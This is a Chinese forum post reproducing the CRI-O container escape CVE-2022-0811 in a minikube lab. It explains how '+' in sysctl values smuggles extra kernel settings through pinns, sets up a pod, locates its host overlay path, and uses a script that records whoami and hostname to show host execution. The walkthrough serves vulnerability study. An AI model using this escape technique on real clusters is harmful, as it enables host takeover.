首页
社区
课程
招聘
[原创]Kubernetes CRI-O引擎逃逸CVE-2022-0811漏洞复现
发表于: 2022-3-22 12:17 1121

[原创]Kubernetes CRI-O引擎逃逸CVE-2022-0811漏洞复现

2022-3-22 12:17
1121

当容器运行时(Container Runtime)的标准被提出以后,Red Hat 的一些人开始想他们可以构建一个更简单的运行时,而且这个运行时仅仅为 Kubernetes 所用。这样就有了 skunkworks项目,最后定名为 CRI-O, 它实现了一个最小的 CRI 接口。在 2017 Kubecon Austin 的一个演讲中, Walsh 解释说, ”CRI-O 被设计为比其他的方案都要小,遵从 Unix 只做一件事并把它做好的设计哲学,实现组件重用“。

根据 Red Hat 的 CRI-O 开发者 Mrunal Patel 在研究里面说的, 最开始 Red Hat 在 2016 年底为它的 OpenShift 平台启动了这个项目,同时项目也得到了 IntelSUSE 的支持。CRI-O 与 CRI 规范兼容,并且与 OCI 和 Docker 镜像的格式也兼容。它也支持校验镜像的 GPG 签名。 它使用容器网络接口 Container Network Interface(CNI)处理网络,以便任何兼容 CNI 的网络插件可与该项目一起使用,OpenShift 也用它来做软件定义存储层。 它支持多个 CoW 文件系统,比如常见的 overlay,aufs,也支持不太常见的 Btrfs。

CRI-O 允许你直接从 Kubernetes 运行容器,而不需要任何不必要的代码或工具。只要容器符合 OCI 标准,CRI-O 就可以运行它,去除外来的工具,并让容器做其擅长的事情:加速你的新一代原生云程序。

CRI-O 最出名的特点是它支持“受信容器”和“非受信容器”的混合工作负载。比如,CRI-O 可以使用 Clear Containers 做强隔离,这样在多租户配置或者运行非信任代码时很有用。这个功能如何集成进 Kubernetes现在还不太清楚,Kubernetes 现在认为所有的后端都是一样的。

当 Kubernetes 需要运行容器时,它会与 CRI-O 进行通信,CRI-O 守护程序与 runc(或另一个符合 OCI 标准的运行时)一起启动容器。当 Kubernetes 需要停止容器时,CRI-O 会来处理,它只是在幕后管理 Linux 容器,以便用户不需要担心这个关键的容器编排。

image-20220322113834606

CRI-O 有一个有趣的架构(见下图),它重用了很多基础组件,下面我们来看一下各个组件的功能及工作流程。

image-20220322113901707

来自:https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/

从这个commit开始,CRI-O用Pinns给Pod设置内核参数,Pinns最常见的调用方式如下

所以恶意用户可以使用+或者=字符传入sysctl值,从而通过pinns设置额外的内核设置

判断是否受到影响:run crio —version

image-20220322105408807

随后查看node 一定要是Ready

image-20220322105449915

image-20220322105913751

image-20220322105930816

image-20220322110028178

我们获取其中的upperdir就是从内核角度到容器根目录的路径

在创建环境的时候我们的启动命令如下

但是在Ubuntu虚拟机中,我们的启动命令如下

image-20220322110257193

这里的--driver·docker,那么此时我们进入到pods中,使用mount,就不会有/var/lib/containers/storage/overlay/这个路径,而是/var/lib/docker/overlay2/这里并不知道具体的原因,只是在尝试后的发现,所以如果出现这种情况,换成Vmware Driver即可

注意:在Linux下是没有Vmware Driver的,所以只能是MacOs,或者Windows,当然如果有更好的,欢迎交流,自己搭建环境也可以

image-20220322111103226

一定要给上权限这里建议直接

再创建一个ouput文本放在根目录即可

image-20220322111525812

image-20220322111325522

创建pod

这里创建之后并不会显示Running运行

image-20220322111421752

image-20220322111707918

随后我们再查看output就可以发现,成功执行了我们想要的命令

image-20220322111812754

也就是写在UzJu.sh中的

image-20220322111935232

https://blog.csdn.net/ccy19910925/article/details/118386726

https://zhuanlan.zhihu.com/p/334766611

https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/

https://linux.cn/article-9015-1.html

 
 
 
 
 
 
 
# 以下传递给CRI-O的sysctl设置转换pinns参数,但是没有做校验
pinns -s kernel_parameter1=value1+kernel_parameter2=value2
# 以下传递给CRI-O的sysctl设置转换pinns参数,但是没有做校验
pinns -s kernel_parameter1=value1+kernel_parameter2=value2
# MacOs
brew install minikube
# Linux
curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64
sudo install minikube-linux-amd64 /usr/local/bin/minikube
# Windows
https://minikube.sigs.k8s.io/docs/start/
# MacOs
brew install minikube
# Linux
curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64
sudo install minikube-linux-amd64 /usr/local/bin/minikube
# Windows
https://minikube.sigs.k8s.io/docs/start/
brew install docker-machine-driver-vmware
brew install docker-machine-driver-vmware
minikube start --kubernetes-version=v1.23.3 --driver=vmware --container-runtime=crio
minikube start --kubernetes-version=v1.23.3 --driver=vmware --container-runtime=crio
 
kubectl get node
kubectl get node
apiVersion: v1
kind: Pod
metadata:
  name: malicious-script-host
spec:
  containers:
  - name: alpine
    image: alpine:latest
    command: ["tail", "-f", "/dev/null"]
apiVersion: v1
kind: Pod
metadata:
  name: malicious-script-host
spec:
  containers:
  - name: alpine
    image: alpine:latest
    command: ["tail", "-f", "/dev/null"]
kubectl create -f malicious-script-host.yaml
kubectl create -f malicious-script-host.yaml
kubctl get pod
kubctl get pod
kubectl exec -it malicious-script-host -- /bin/sh
mount
kubectl exec -it malicious-script-host -- /bin/sh
mount
 
minikube start --kubernetes-version=v1.23.3 --driver=vmware --container-runtime=crio
minikube start --kubernetes-version=v1.23.3 --driver=vmware --container-runtime=crio
minikube start --kubernetes-version=v1.23.3 --driver=docker --container-runtime=crio
minikube start --kubernetes-version=v1.23.3 --driver=docker --container-runtime=crio
 
# Ubuntu下driver以docker的方式启动,mount命令结果
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/Q6DVAGGZCHBCIYVTIEDWFQTQ7I:/var/lib/docker/overlay2/l/LLWQRNQIVYIMZP6W6MTAWNUGQE,upperdir=/var/lib/docker/overlay2/bfe14988c94b78ebaece2c0403e7241bc70780a129aadb9777e0fb624f8205c7/diff,workdir=/var/lib/docker/overlay2/bfe14988c94b78ebaece2c0403e7241bc70780a129aadb9777e0fb624f8205c7/work)
# Ubuntu下driver以docker的方式启动,mount命令结果
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/Q6DVAGGZCHBCIYVTIEDWFQTQ7I:/var/lib/docker/overlay2/l/LLWQRNQIVYIMZP6W6MTAWNUGQE,upperdir=/var/lib/docker/overlay2/bfe14988c94b78ebaece2c0403e7241bc70780a129aadb9777e0fb624f8205c7/diff,workdir=/var/lib/docker/overlay2/bfe14988c94b78ebaece2c0403e7241bc70780a129aadb9777e0fb624f8205c7/work)
#!/bin/sh
date >> /var/lib/containers/storage/overlay/6a2b5a734f73272b9ad1e48e74b0e0542e0a93d70f820f173bc25ea3d3c8268b/diff/output
whoami >> /var/lib/containers/storage/overlay/6a2b5a734f73272b9ad1e48e74b0e0542e0a93d70f820f173bc25ea3d3c8268b/diff/output
hostname >>  /var/lib/containers/storage/overlay/6a2b5a734f73272b9ad1e48e74b0e0542e0a93d70f820f173bc25ea3d3c8268b/diff/output

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 1
支持
分享
最新回复 (2)
雪    币: 2
活跃值: (130)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
作者你好!请问在安装 docker-amchine-driver-vmware的时候,返回Error: can't modify frozen String: "GitRequirement"是什么情况呢?
2022-4-7 15:43
0
雪    币: 452
活跃值: (6128)
能力值: ( LV12,RANK:580 )
在线值:
发帖
回帖
粉丝
3
mb_vyewoggl 作者你好!请问在安装 docker-amchine-driver-vmware的时候,返回Error: can't modify frozen String: "GitRequirement ...
不好意思 不太清楚实际的情况,也没遇到这个情况,简单搜了一下这个报错,https://segmentfault.com/q/1010000004502736/a-1020000004558555 您看看这个能解决不,您可以截图看一下您的环境 系统
2022-4-7 18:36
0
游客
登录 | 注册 方可回帖
返回
//